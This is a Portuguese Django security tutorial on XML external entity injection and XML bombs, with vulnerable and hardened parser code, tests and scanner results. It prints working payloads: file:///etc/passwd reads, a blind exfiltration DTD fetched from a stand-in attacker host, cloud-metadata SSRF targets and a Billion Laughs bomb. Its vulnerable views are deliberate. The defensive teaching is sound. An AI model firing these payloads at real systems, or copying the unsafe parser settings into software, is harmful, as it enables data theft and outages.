XXE e Bombas XML: Por Que Você Deve Pensar Duas Vezes Antes de Analisar XML em Python
Django Security Series — Post 5 | Série I: Ataques de Injeção
OWASP A05:2021 — Security Misconfiguration (CWE-611 / CWE-776) | Tempo de leitura: ~22 min
🧪 Rode você mesmo. Este ataque vem como um laboratório executável no django-security-lab: um webhook XML que lê um documento
<order>. A view comlxml(resolução de entidades ligada) deixa uma entidade externafile://ler uma flag que nunca deveria alcançar; a view comdefusedxmlrecusa a DTD e retorna 400. Reproduza os dois pela linha de comando comcurl— e veja a surpresa na detecção: o Bandit sinaliza os parsers da biblioteca padrão mas é cego aolxml, que é quem de fato faz a leitura, então o laboratório traz a regra customizada que o pega.
Os quatro primeiros posts desta série percorreram a mesma causa raiz — confundir dado com código — através de quatro interpretadores diferentes. O Post 1 a levou ao banco de dados SQL, o Post 2 ao parser HTML do navegador, o Post 3 ao motor de templates, e o Post 4 ao shell do sistema operacional. O Post 5 fecha a Série I no último interpretador da lista, e naquele que desenvolvedores Django mais frequentemente esquecem que é um interpretador: o parser de XML.
Este post me surpreendeu de uma forma específica. Parti do princípio de que o Petição Brasil não tinha superfície de XXE nenhuma — ele fala JSON e não aceita uploads XML. O que não tinha considerado é que superfícies XML costumam ser indiretas. A plataforma faz uma verificação de conformidade PDF/A nos documentos de petição enviados pelos usuários, e a biblioteca por trás disso, o pikepdf, analisa o bloco de metadados XMP de cada arquivo — que é XML — com lxml por baixo dos panos. Nunca escrevi uma linha de código que analisa XML, e ainda assim uma dependência dois níveis abaixo estava entregando bytes enviados a um parser XML. Isso me forçou a pensar sobre onde a fronteira do parser realmente fica numa cadeia que não escrevi.
Analisar XML parece passivo — você entrega um documento a uma biblioteca e recebe de volta uma árvore de elementos — mas um parser XML conforme a especificação é um pequeno ambiente de programação, e o recurso de resolução de entidades dele vai alegremente ler arquivos, abrir conexões de rede e alocar gigabytes de memória seguindo as instruções embutidas no documento que está analisando.
Este post cobre dois ataques que compartilham um único habilitador: um parser XML deixado em suas configurações inseguras padrão. O primeiro é o XXE — injeção de Entidade Externa de XML (XML External Entity) — em que um documento malicioso declara uma entidade externa que faz o servidor ler um arquivo local (file:///etc/passwd), alcançar um serviço interno, ou atingir o endpoint de metadados da nuvem e devolver credenciais IAM. O segundo é a bomba XML, da qual o Billion Laughs é o arquétipo — um punhado de entidades recursivas aninhadas que expandem um documento de um kilobyte em gigabytes na memória, derrubando o processo. Ambos disparam no momento em que XML não confiável encontra um parser que resolve entidades ou expande a DTD interna (Document Type Definition).
A razão pela qual essa superfície de ataque persiste em aplicações Django é que o XML nunca realmente foi embora. O JSON domina as APIs REST modernas, mas o XML está por baixo de uma quantidade surpreendente do que uma aplicação web ainda ingere: integrações SOAP com gateways de pagamento e parceiros corporativos, leitores de feeds RSS e Atom, webhooks de parceiros e — o menos óbvio de todos — os formatos de escritório e imagem que os usuários enviam todos os dias. Um .docx, .xlsx ou .pptx é um arquivo ZIP cheio de XML; um .svg é XML; muitas cadeias de ferramentas de .pdf tocam em XML. Cada um deles é um documento que seu código pode entregar a um parser, e cada parser é uma decisão sobre confiar ou não no que o documento manda ele fazer.
Há uma armadilha específica de Django-e-Python no centro deste post, e é a mesma forma de "você achou que estava coberto" que tornou o SSTI (Post 3) tão perigoso: as bibliotecas XML do Python não são seguras por padrão. Desenvolvedores recorrem à biblioteca padrão — xml.etree.ElementTree, xml.dom.minidom, xml.sax — presumem que "biblioteca padrão significa segura" e nunca aprendem que a própria documentação oficial do Python avisa, em negrito, que esses módulos "não são seguros contra dados maliciosamente construídos". O parser rápido de terceiros que a maioria dos projetos Django de fato usa, o lxml, apertou seus padrões ao longo dos anos (o libxml2 2.9+ não resolve mais entidades externas e adicionou uma guarda de amplificação), mas sua documentação ainda recomenda não analisar entrada não confiável sem blindagem explícita — e versões antigas, parsers mal configurados e casos de borda permanecem uma ameaça real. A correção — o defusedxml — existe precisamente porque depender de padrões implícitos é frágil, e quase ninguém o instala antes de um incidente.
Uma nota sobre a classificação OWASP: este post está na Série I (Ataques de Injeção) porque sua causa raiz — dados não confiáveis interpretados como instruções pelo parser XML — é a mesma confusão "dado vs. código" que impulsiona SQL injection, XSS, SSTI e injeção de comandos. A taxonomia OWASP Top 10:2021, no entanto, classifica XXE sob A05 Security Misconfiguration (absorvendo a antiga A4:2017-XXE), raciocinando que a correção é uma decisão de configuração de parser e não sanitização de entrada. Ambos os enquadramentos estão corretos: o mecanismo do ataque tem formato de injeção, mas a defesa tem formato de configuração. Este post usa tanto CWE-611 (Improper Restriction of XML External Entity Reference) quanto CWE-776 (Improper Restriction of Recursive Entity References) como seus identificadores canônicos de fraqueza.
Neste post veremos como as entidades XML funcionam no nível do parser, como o mesmo recurso produz tanto divulgação de arquivos quanto uma bomba de negação de serviço, exatamente onde uma aplicação Django é alcançável por essa superfície, e como tornar segura cada análise de XML no seu projeto com uma troca de biblioteca de uma linha mais um pequeno conjunto de regras de blindagem.
O Ataque: O Que É e Como Funciona
XML é mais do que um formato de dados — a especificação inclui uma Definição de Tipo de Documento (DTD), uma pequena gramática que um documento pode carregar embutida (o subconjunto interno) ou referenciar externamente. A DTD permite que um documento declare entidades. Uma entidade é o mecanismo de substituição embutido do XML — pense nela como um espaço reservado nomeado, muito parecido com uma constante ou uma macro: você a define uma vez e, onde quer que o parser depois veja uma referência &nome;, ele troca essa referência pelo valor da entidade antes de te entregar a árvore analisada. As entidades existem por duas razões perfeitamente legítimas. A primeira é o escape — inserir caracteres que de outra forma quebrariam a marcação: você escreve < para que o parser leia um < literal como texto, e não como o início de uma tag. A segunda é o reuso — definir uma string boilerplate uma vez (o nome de uma empresa, um aviso legal, uma URL repetida) e referenciá-la muitas vezes, de modo que uma única edição atualize todas. Você já conhece a variedade de escape — <, >, &, ', " são as cinco entidades XML predefinidas, que representam <, >, &, ' e ". O perigo é que um documento pode definir suas próprias entidades, e essas definições podem apontar para fora do documento.
Existem três tipos de entidade personalizada, e a história de segurança vive na segunda e na terceira:
- Entidade interna — uma substituição de string literal:
<!ENTITY empresa "ACME Corp">. Inofensiva por si só, mas o motor por trás do Billion Laughs. - Entidade geral externa — uma substituição cujo valor é buscado a partir de uma URI:
<!ENTITY xxe SYSTEM "file:///etc/passwd">. Quando o parser resolve&xxe;, ele lê essa URI e insere o resultado. Este é o coração do XXE. - Entidade de parâmetro externa — a mesma ideia, referenciada com
%nome;dentro da própria DTD, usada para construir cadeias de exfiltração cega/fora de banda que funcionam mesmo quando a resposta nunca ecoa os dados analisados.
O XXE clássico lê um arquivo local. Um parser que resolve entidades externas trata este documento como uma instrução para ler /etc/passwd e colocar seu conteúdo onde &xxe; aparece:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
Se a aplicação analisa isso e reflete o valor resultante de <data> em qualquer lugar — uma mensagem de erro, uma página de confirmação, um registro armazenado que o atacante pode ler de volta — o conteúdo de /etc/passwd vem junto. O mesmo identificador SYSTEM aceita outros esquemas, e é isso que transforma uma leitura de arquivo em algo muito pior:
| Alvo do payload | O que o parser faz | Impacto |
|---|---|---|
file:///etc/passwd |
Lê um arquivo local, insere seu conteúdo | Divulgação de arquivo local — código-fonte, settings.py, SECRET_KEY |
http://169.254.169.254/latest/meta-data/ |
Faz uma requisição HTTP ao endpoint de metadados da nuvem | SSRF → roubo de credenciais IAM na AWS/GCP/Azure |
http://servico-interno:8080/ |
Alcança um serviço visível apenas de dentro da rede | SSRF → reconhecimento interno e movimentação lateral |
expect://id / php:// (stacks PHP) |
Invoca um stream wrapper | Execução de comandos em configurações vulneráveis |
A variante http:// é a que escala de "vazamento irritante de arquivo" para "brecha que encerra a empresa": o parser vira um proxy que o atacante dirige, e o endpoint de metadados da nuvem em 169.254.169.254 vai, em uma instância mal configurada, retornar as credenciais temporárias do papel IAM do servidor. Este é o mesmo mecanismo de SSRF abordado em profundidade em um post futuro desta série — o XXE é simplesmente uma das formas de disparar isso.
Há uma variante cega para quando a resposta nunca ecoa os dados analisados. Quando a aplicação analisa o XML mas nunca retorna o resultado ao atacante — comum em manipuladores de upload e webhooks — a reflexão clássica de &xxe; não funciona. Os atacantes resolvem isso com entidades de parâmetro e uma DTD externa hospedada pelo atacante que exfiltra o conteúdo do arquivo através de uma URL:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % dtd SYSTEM "http://attacker.example/evil.dtd">
%dtd;
]>
<data>probe</data>
A evil.dtd externa define uma entidade adicional que anexa %file; a uma URL de volta ao servidor do atacante, de modo que o conteúdo do arquivo deixa a rede como parte de uma requisição que o atacante observa em seus próprios logs — sem exigir reflexão. Este é o análogo XML das técnicas cegas/fora de banda vistas no SQL Injection cego (Post 1) e na injeção de comandos cega (Post 4).
O segundo ataque, a bomba XML — o Billion Laughs é o arquétipo — usa apenas entidades internas, então não precisa de nenhum acesso externo; é pura exaustão de CPU e memória. Cada entidade é definida em termos daquela abaixo dela, dez referências por vez:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
A expansão é multiplicativa, e esse é todo o truque. Leia de baixo para cima: lol é a string literal "lol"; &lol1; são dez lols; &lol2; são dez &lol1;s — cem lols; &lol3; são dez &lol2;s — mil; e cada nível acima multiplica o total corrente por mais dez. Então, quando o parser chega ao único &lol9; no corpo do documento, ele precisa construir dez &lol8;, cada um dos quais é dez &lol7;, e assim por diante até a string literal — 10^9 (um bilhão) de cópias de "lol", cerca de 3 GB de texto, a partir de um documento de origem com bem menos de um kilobyte na rede. Essa assimetria — um documento minúsculo, uma expansão gigante na memória — é todo o ataque. O parser aloca obedientemente cada byte e o processo trabalhador é morto pelo coletor out-of-memory do SO, derrubando junto as requisições concorrentes. Uma variante, o quadratic blowup (explosão quadrática), usa uma única entidade grande referenciada milhares de vezes para atingir o mesmo efeito enquanto escapa de verificações ingênuas de profundidade de aninhamento. Este é um ataque de negação de serviço — a mesma classe de exaustão de recursos na camada de aplicação abordada em um post futuro desta série — entregue através do parser XML.
Numa aplicação Django, o ponto de entrada realista é qualquer endpoint ou tarefa que aceite XML controlado pelo atacante. Considere uma aplicação que ingere o feed de produtos de um parceiro:
# INSEGURO — analisa um feed XML enviado com lxml em suas configurações padrão
from lxml import etree
from django.http import HttpResponse
def import_feed(request):
xml_bytes = request.FILES['feed'].read()
root = etree.fromstring(xml_bytes) # sem blindagem explícita — comportamento depende da versão do libxml2
name = root.findtext('.//productName')
return HttpResponse(f"Imported: {name}")
No lxml moderno (libxml2 ≥ 2.9) este trecho específico pode não resolver a entidade externa por padrão — mas o código não tem nenhuma blindagem explícita, o que significa que sua segurança é um acidente da versão da biblioteca, não uma decisão deliberada de segurança. Em uma versão mais antiga, uma imagem de SO diferente, ou com uma instanciação de parser levemente diferente, o mesmo código resolve a entidade e devolve /etc/passwd. O padrão seguro é sempre blindar explicitamente em vez de confiar em padrões implícitos.
O que torna o XXE perigoso é exatamente o que o torna fácil de passar despercebido em revisão: a linha vulnerável é uma chamada parse() rotineira que parece manipulação passiva de dados, não um sink óbvio como subprocess ou cursor.execute.
Incidentes Reais
Facebook XXE — Reginaldo Silva (2014)
No final de 2013 o pesquisador de segurança brasileiro Reginaldo Silva relatou uma vulnerabilidade de Entidade Externa de XML no endpoint consumidor de OpenID do Facebook (a divulgação pública seguiu em janeiro de 2014). O Facebook aceitava uma requisição de login OpenID, buscava e analisava um documento XML do provedor de identidade, e o fazia com um parser que resolvia entidades externas — de modo que Silva podia fazer os servidores do Facebook lerem arquivos locais e, criticamente, fazerem requisições de saída de dentro da rede do Facebook. Ele havia encontrado anteriormente a mesma classe de bug na infraestrutura do Google, e reconheceu que o XXE poderia ser encadeado em execução remota de código completa através dos serviços internos que ele agora podia alcançar. O Facebook lhe concedeu US$ 33.500 — o maior pagamento individual que seu programa de bug bounty já havia feito até então — precisamente porque um XXE que consegue pivotar para serviços internos e o sistema de arquivos não é um bug de "ler um arquivo", mas uma posição dentro do perímetro.
A lição para desenvolvedores Django é o fio condutor de todo este post: o código vulnerável não estava fazendo nada exótico — estava analisando um documento XML recebido de uma parte externa, a operação de XML mais comum que existe. O acesso inicial mapeia para MITRE ATT&CK T1190 (Exploit Public-Facing Application); a escalada — usar o parser como um proxy de SSRF para alcançar serviços internos e, numa instância de nuvem, o endpoint de metadados — mapeia para T1552.005 (Unsecured Credentials: Cloud Instance Metadata API), e a variante Billion Laughs / bomba XML para T1499 (Endpoint Denial of Service). Esse caminho de escalada é exatamente por que o XXE é classificado tão acima de uma simples falha de divulgação de informação. Uma troca de uma linha para um parser que recusa DTDs e entidades externas teria fechado toda a cadeia na origem.
O peso regulatório acompanha o arquivo que o parser é enganado a ler. Um XXE que divulga settings.py, um .env, ou — como no caso do Facebook — alcança serviços internos e credenciais é uma violação de dados pessoais no momento em que qualquer um desses segredos guarda dados de usuários, e pela LGPD (Lei Geral de Proteção de Dados) o Artigo 48 obriga o operador que sofre um incidente com risco relevante a comunicar a autoridade nacional (ANPD) e os titulares afetados; o GDPR europeu impõe o mesmo dever de notificação em 72 horas. O enquadramento de "ler um arquivo" subestima gravemente: o arquivo que o XXE lê costuma ser a chave de tudo o que ele protegia, e a obrigação de comunicação recai sobre cada titular por trás dessa chave. O defeito técnico (um parser em padrões inseguros) e a exposição legal (uma violação notificável) são o mesmo evento.
Source: Reginaldo Silva — Remote Code Execution via XXE in Facebook
Proteções Padrão do Django
O título honesto é o mesmo do Post 4: o Django não analisa XML arbitrário para você, e não fornece nenhuma proteção automática quando o seu código o faz. Um projeto Django ou Django REST Framework padrão trata requisições como dados form-encoded ou JSON — não há parser XML no caminho de requisição padrão, então uma aplicação Django comum não tem superfície de XXE até um desenvolvedor deliberadamente adicionar análise de XML. Isso é genuinamente protetivo por omissão, e vale a pena declarar claramente: se você nunca analisa XML não confiável, não pode ser atingido por XXE.
Duas nuances completam o quadro. Primeiro, o próprio framework de serialização XML do Django — o código por trás das fixtures loaddata/dumpdata — foi blindado anos atrás para defender contra ataques de expansão de entidades, então carregar uma fixture não é uma preocupação. Mas esse caminho lida com suas próprias fixtures confiáveis, não com entrada do usuário, e não diz nada sobre o parser que você escolhe quando você analisa um corpo de requisição. Segundo, e esta é a parte que pega as pessoas: a proteção ou a exposição vive inteiramente na biblioteca Python que você escolhe, e o Django não tem voz nisso.
lxml— o parser rápido baseado em C, popular, que a maioria dos projetos Django instala para trabalho real com XML. Olxmlmoderno (suportado pelo libxml2 ≥ 2.9, distribuído desde 2012) não resolve mais entidades externas por padrão e inclui uma guarda de amplificação de entidades que bloqueia a bomba Billion Laughs clássica. Esta é uma melhoria significativa em relação à sua reputação histórica. No entanto: (a) se seu código explicitamente passaresolve_entities=True, ou cria um parser sem flags de blindagem, o XXE completo de leitura de arquivo volta; (b) olxmlainda resolve entidades internas (que é como a substituição legítima funciona), então documentos especialmente criados abaixo do limiar de amplificação ainda podem causar abuso de recursos; (c) o limite de amplificação é uma rede de segurança, não uma garantia — variantes de quadratic blowup podem escapar por baixo; e (d) versões mais antigas do libxml2 (ainda comuns em containers legados) resolvem entidades externas por padrão. A postura segura é não confiar nesses padrões implícitos, mas blindar o parser explicitamente (resolve_entities=False,no_network=True,load_dtd=False) ou usar odefusedxml.xml.etree.ElementTree,xml.dom.minidom,xml.sax— a biblioteca padrão — são, nas palavras da documentação oficial do Python, "não seguros contra dados maliciosamente construídos". O backend expat do CPython moderno não busca mais entidades externas por padrão, o que atenua a variante de leitura de arquivo, mas cada um desses parsers ainda é vulnerável à negação de serviço Billion Laughs / quadratic blowup, e a recomendação da própria documentação é instalar odefusedxml.
A conclusão espelha a injeção de comandos: no momento em que seu código chama etree.fromstring, minidom.parse, ou uma biblioteca SOAP/de feed, você saiu de qualquer coisa que o Django possa proteger, e a segurança dessa análise é inteiramente sua responsabilidade.
Padrão Vulnerável: O Que NÃO Fazer
Padrão 1 — Analisar um corpo de requisição com lxml nas configurações padrão
# INSEGURO — lxml com resolve_entities=True → leitura de arquivo por XXE clássico
# Mesmo sem essa flag, confiar em padrões não documentados é frágil;
# sempre blinde explicitamente ou use o defusedxml.
from lxml import etree
from django.views.decorators.csrf import csrf_exempt
from django.http import JsonResponse
_UNSAFE_PARSER = etree.XMLParser(resolve_entities=True) # explicitamente perigoso
@csrf_exempt
def webhook(request):
root = etree.fromstring(request.body, parser=_UNSAFE_PARSER)
order_id = root.findtext('.//orderId')
return JsonResponse({"received": order_id})
Payload de ataque — um corpo POST declarando <!ENTITY xxe SYSTEM "file:///etc/passwd"> e colocando &xxe; dentro de <orderId> faz o lxml inserir o arquivo de senhas em order_id. Aponte a entidade para http://169.254.169.254/… e o mesmo manipulador exfiltra credenciais de nuvem.
Padrão 2 — Analisar um arquivo enviado com a biblioteca padrão
# INSEGURO — um SVG/XML enviado é uma bomba Billion Laughs esperando para detonar
import xml.etree.ElementTree as ET
from django.http import HttpResponse
def upload_diagram(request):
svg = request.FILES['diagram']
tree = ET.parse(svg) # vulnerável à DoS por expansão de entidades
title = tree.findtext('.//{http://www.w3.org/2000/svg}title')
return HttpResponse(f"Uploaded: {title}")
Payload de ataque — um SVG com menos de um kilobyte carregando as entidades aninhadas lol1…lol9 expande para gigabytes durante o ET.parse, e o trabalhador é morto pelo coletor out-of-memory do SO. Como um SVG é "só uma imagem", esse endpoint raramente recebe o escrutínio que um endpoint óbvio de importação de dados receberia.
Padrão 3 — Uma integração SOAP / de feed que confia no documento remoto
# INSEGURO — uma resposta SOAP de um parceiro analisada sem blindagem
from lxml import etree
import requests
def fetch_partner_status(order_ref):
resp = requests.post("https://partner.example/soap", data=build_envelope(order_ref))
doc = etree.fromstring(resp.content) # XML remoto, entidades resolvidas
return doc.findtext('.//status')
O erro é presumir que a resposta de um "parceiro confiável" é segura para analisar de forma frouxa. Um upstream comprometido ou malicioso — ou um machine-in-the-middle numa etapa não autenticada — retorna um documento cujas entidades leem os arquivos do seu servidor ou bombardeiam sua memória. Confiança no remetente não é confiança nos bytes; o parser deve ser blindado independentemente da origem.
Implementação Segura: O Jeito Django
Regra 1 — Substitua todo parser XML pelo defusedxml
Este é o controle mais importante, e é praticamente uma substituição direta. O defusedxml é uma biblioteca pequena e bem mantida que espelha os módulos XML do Python um a um — defusedxml.ElementTree, defusedxml.minidom, defusedxml.sax, mais um shim para o lxml — expondo as mesmas funções, com as mesmas assinaturas que você já chama. O que muda é o que esses invólucros fazem antes de analisar: eles proíbem resolução de entidades e carregamento de recursos externos por padrão (forbid_entities=True, forbid_external=True), enquanto permitem um DOCTYPE simples que declara apenas estrutura de elementos. Assim, quando um documento hostil declara uma entidade personalizada ou referencia um recurso externo, o parser nunca lê um arquivo, busca uma URL ou incha na memória — ele para na hora e lança EntitiesForbidden (para qualquer declaração de entidade) ou ExternalReferenceForbidden (para uma referência SYSTEM/PUBLIC). Você pode adicionalmente optar por forbid_dtd=True para rejeitar qualquer DOCTYPE, o que lança DTDForbidden. Documentos legítimos sem entidades são analisados exatamente como antes; os maliciosos falham de forma barulhenta em vez de executar silenciosamente.
# SEGURO — defusedxml recusa DTDs e entidades; a API é, no mais, idêntica
import defusedxml.ElementTree as ET
from django.http import HttpResponse
from defusedxml.common import EntitiesForbidden, DTDForbidden
def upload_diagram(request):
try:
tree = ET.parse(request.FILES['diagram'])
except (EntitiesForbidden, DTDForbidden):
return HttpResponse("Rejeitado: entidades XML não são permitidas", status=400)
title = tree.findtext('.//{http://www.w3.org/2000/svg}title')
return HttpResponse(f"Uploaded: {title}")
pip install defusedxml, depois troque import xml.etree.ElementTree as ET por import defusedxml.ElementTree as ET (e from defusedxml.lxml import fromstring no lugar de lxml.etree.fromstring). Tanto um documento Billion Laughs quanto um payload de entidade externa file:// agora lançam EntitiesForbidden em vez de executar.
Regra 2 — Se você precisar usar o lxml diretamente, blinde o parser explicitamente
Algumas bibliotecas exigem um objeto parser lxml real. Quando o shim do defusedxml não for uma opção, construa o parser com a resolução de entidades, o carregamento de DTD e o acesso à rede todos desligados, e rejeite qualquer DOCTYPE de imediato:
# SEGURO — um parser lxml travado: sem entidades, sem DTD, sem rede
from lxml import etree
_SAFE_PARSER = etree.XMLParser(
resolve_entities=False, # não expandir referências &entidade;
no_network=True, # bloquear identificadores SYSTEM http(s) (SSRF)
load_dtd=False, # não processar a DTD
dtd_validation=False,
huge_tree=False, # manter os limites internos de expansão/tamanho
)
def parse_partner_xml(raw_bytes):
root = etree.fromstring(raw_bytes, parser=_SAFE_PARSER)
# Defesa em profundidade: rejeitar qualquer documento que trouxe um DOCTYPE.
if root.getroottree().docinfo.doctype:
raise ValueError("DTD não permitida")
return root
resolve_entities=False neutraliza tanto o vetor de leitura de arquivo quanto o Billion Laughs, no_network=True fecha a escalada de SSRF ao endpoint de metadados, e deixar huge_tree=False (o padrão) mantém em vigor a proteção interna do lxml contra expansão excessiva.
Regra 3 — Limite o tamanho de tudo o que você analisa
Expansão de entidades e documentos excessivamente grandes são ataques de exaustão de recursos, então limite a entrada antes e durante a análise. Para corpos de requisição (dados POST não-arquivo), o DATA_UPLOAD_MAX_MEMORY_SIZE do Django rejeita payloads acima do limite antes que sua view rode. Mas atenção: essa configuração exclui dados de upload de arquivo (request.FILES) por design — arquivos enviados que excedem FILE_UPLOAD_MAX_MEMORY_SIZE são simplesmente despejados num arquivo temporário em disco em vez de rejeitados. Portanto, para caminhos de upload de arquivo (Padrões 2 e 3 acima), DATA_UPLOAD_MAX_MEMORY_SIZE não é uma rede de segurança. A defesa real contra uma bomba SVG chegando via upload é a guarda de entidades do defusedxml (Regra 1) — o parser rejeita o documento antes de tentar expandir. Como defesa-em-profundidade adicional, imponha um limite de tamanho explícito no próprio upload — seja na validação do form/serializer, no max_length do FileField, ou via diretiva do servidor web (ex. Nginx client_max_body_size).
# settings.py — estes cobrem corpos POST não-arquivo; ajuste aos seus payloads reais
DATA_UPLOAD_MAX_MEMORY_SIZE = 2 * 1024 * 1024 # teto de 2 MB para corpos POST (excl. arquivos)
DATA_UPLOAD_MAX_NUMBER_FIELDS = 1000 # conter floods por contagem de campos multipart
Para endpoints de upload especificamente, adicione uma verificação de tamanho antes de analisar:
MAX_XML_UPLOAD_BYTES = 5 * 1024 * 1024 # 5 MB — ajuste aos seus payloads reais
def upload_diagram(request):
f = request.FILES['diagram']
if f.size > MAX_XML_UPLOAD_BYTES:
return HttpResponse("Arquivo muito grande", status=413)
# ... analisar com defusedxml ...
Regra 4 — Prefira JSON, e trate XML como uma exceção deliberada
A correção mais durável é arquitetural: se você controla as duas pontas do contrato, use JSON, que não tem entidades, nem DTD, nem recurso de referência externa a abusar. Reserve a análise de XML para os casos que você genuinamente não pode evitar — SOAP de entrada, feeds de parceiros em formato fixo, uploads de escritório/SVG — e faça de cada um deles uma decisão consciente e blindada usando as Regras 1–3, em vez de um reflexivo etree.fromstring.
A regra invariável: nunca analise XML não confiável com um parser padrão. Roteie toda análise de XML através do defusedxml (ou de um parser lxml explicitamente blindado), e limite o tamanho da entrada — sem exceções para parceiros "confiáveis" ou uploads que são "só uma imagem".
Checklist de Prevenção de XXE
| Controle | O que cobre |
|---|---|
defusedxml no lugar de todo parser padrão |
O principal vetor de XXE e bomba XML — DTDs e resolução de entidades são recusadas, lançando DTDForbidden/EntitiesForbidden |
Parser lxml blindado (resolve_entities=False, no_network=True, load_dtd=False) |
XXE onde um objeto lxml real é exigido — leitura de arquivo, expansão de entidades e SSRF-para-metadados todos fechados |
| Rejeitar documentos que carregam um DOCTYPE | Defesa em profundidade — recusa a DTD da qual um payload XXE depende antes que qualquer entidade seja processada |
DATA_UPLOAD_MAX_MEMORY_SIZE + verificações explícitas de tamanho de upload |
A DoS por documento excessivamente grande — limita corpos POST não-arquivo; uma verificação explícita de tamanho em request.FILES rejeita uploads excessivos antes da análise |
| Preferir JSON onde você controla o contrato | Remove a superfície de ataque inteiramente — sem entidades, sem DTD, nada a resolver |
bandit no CI (sinaliza uso de xml.etree/lxml, recomenda defusedxml) |
Impede que um novo ponto de chamada de parser inseguro chegue à produção |
A Visão do Analista
Para um analista CySA+, o XXE é o exemplo mais limpo desta série de por que um scan SAST verde não é um certificado de segurança. Os scanners têm regras de XXE — as B313–B320 do Bandit sinalizam xml.etree, minidom e sax e mandam instalar o defusedxml. Mas essas regras são baseadas em nome e miram na biblioteca padrão, e os parsers stdlib modernos não resolvem mais entidades externas por padrão. O parser que ainda faz a leitura do arquivo é o lxml, e a verificação de lxml do Bandit (B410) foi removida — então um codebase cuja superfície de XXE passa pelo lxml faz o scan perfeitamente limpo. Um analista que lê "0 achados" em código que analisa XML como "sem XXE" confundiu a cobertura da ferramenta com a superfície de ataque.
O segundo ponto do analista é a classificação de impacto. O XXE não é catalogado como mero bug de divulgação de informação porque o mesmo identificador SYSTEM que lê um arquivo também fala http:// — transformando o parser num proxy de SSRF que alcança serviços internos e o endpoint de metadados da nuvem (T1552.005), onde uma credencial IAM temporária transforma um documento analisado numa posição dentro do perímetro. É por isso que a resposta a um achado de XXE tem formato de resposta a incidente: assuma que a leitura teve sucesso, rotacione o que os arquivos e endpoints alcançáveis expuseram, e caçe as requisições de saída que o parser pode ter feito — um modelo de ameaças que um scanner não te entrega.
Detectando Automaticamente
Testando Sua Defesa
O controle é uma troca de parser, então o teste é direto: um payload de leitura de arquivo nunca deve retornar conteúdo do arquivo, e um documento de expansão de entidades deve ser rejeitado em vez de expandido. As duas asserções falham contra o parser lxml vulnerável, o que é o ponto — um teste que só analisasse um documento benigno passaria nas duas views.
# blog/tests.py
from django.test import TestCase
XXE_FILE_READ = b"""<?xml version="1.0"?>
<!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<data>&xxe;</data>"""
# Um payload pequeno de expansão de entidades — não é um Billion Laughs completo (que exigiria
# lol1…lol9), mas suficiente para provar que o defusedxml rejeita declarações de entidades.
ENTITY_EXPANSION = b"""<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
]>
<lolz>&lol2;</lolz>"""
class XXETests(TestCase):
def test_external_entity_is_not_resolved(self):
"""Uma entidade file:// nunca deve aparecer na resposta — o parser
deve recusar a DTD em vez de inserir /etc/passwd."""
response = self.client.post(
'/webhook/', data=XXE_FILE_READ, content_type='application/xml'
)
self.assertNotIn(b'root:', response.content) # sem conteúdo do passwd
self.assertEqual(response.status_code, 400) # rejeitado, não processado
def test_entity_expansion_is_rejected(self):
"""Um documento de expansão de entidades deve ser rejeitado, não expandido — a
requisição deve retornar rápido e nunca alocar a expansão."""
response = self.client.post(
'/webhook/', data=ENTITY_EXPANSION, content_type='application/xml'
)
self.assertEqual(response.status_code, 400)
Fazendo a Varredura
Eu esperava que o Bandit fosse a vitória fácil aqui — XXE é uma classe de manual, e o Bandit traz regras de XML que citam o defusedxml no texto de remediação. Ele não achou nada na view vulnerável do laboratório, e caçar o porquê é mais útil do que um sinal verde teria sido.
O Bandit (que percorre a AST do Python atrás de chamadas arriscadas numeradas com B) tem sim verificações de XML — B405/B314 em xml.etree, B313–B320 em minidom/sax/pulldom — e elas disparam, recomendando o defusedxml. Mas são baseadas em nome e miram na biblioteca padrão. A view vulnerável do laboratório analisa com lxml, e a verificação de lxml do Bandit — B410 — foi removida: peça por ela explicitamente e o Bandit 1.9.4 responde Unknown test found in profile: B410. Então o Bandit reporta zero no parse com lxml, nas duas views. A inversão é a lição a guardar: o ElementTree stdlib moderno não resolve mais entidades externas, então o parser que o Bandit sinaliza é o já blindado contra a leitura de arquivo, enquanto o lxml — o parser que ainda executa o XXE — é o que ele não enxerga. (O próprio rastreador do Bandit registra que a orientação para lxml era inútil, porque o shim defusedxml.lxml que ela apontava foi sempre só um exemplo e agora está deprecado.)
O Semgrep community (p/django, p/python, p/owasp-top-ten) reporta zero nas duas views, e o registry completo r/python (371 regras) também é zero na view vulnerável. O registry tem uma regra de XXE (use-defused-xml-parse), mas rodada diretamente ela não dispara nem na view lxml nem numa sonda stdlib fromstring.
Então nenhuma regra de prateleira dá um assert dispara/silencia no XXE com lxml que o laboratório de fato precisa. O laboratório companheiro traz uma pequena regra customizada do Semgrep que sinaliza um parse lxml não roteado pelo defusedxml — o footgun explícito resolve_entities=True e um parse nu de padrões implícitos — e fica em silêncio na correção com defusedxml e num objeto parser= blindado:
semgrep scan --config rules/xxe.yaml labs/post_05_xxe/views_vulnerable.py # 1 achado
semgrep scan --config rules/xxe.yaml labs/post_05_xxe/views_secure.py # 0 achados
Seu limite honesto é ser baseada em nome (ancora num receptor etree) e não conseguir provar que os bytes são não confiáveis — confirmar a alcançabilidade a partir de um corpo de requisição é a análise de taint que as ferramentas gratuitas não fazem aqui. As execuções capturadas e a reprodução estão no diretório scans/ do laboratório.
Prove a correção dinamicamente também — o XXE é uma classe de runtime, e um payload file:// contra um endpoint em execução é a outra metade:
# Sonda de leitura de arquivo — a resposta NÃO deve conter o conteúdo do arquivo alvo.
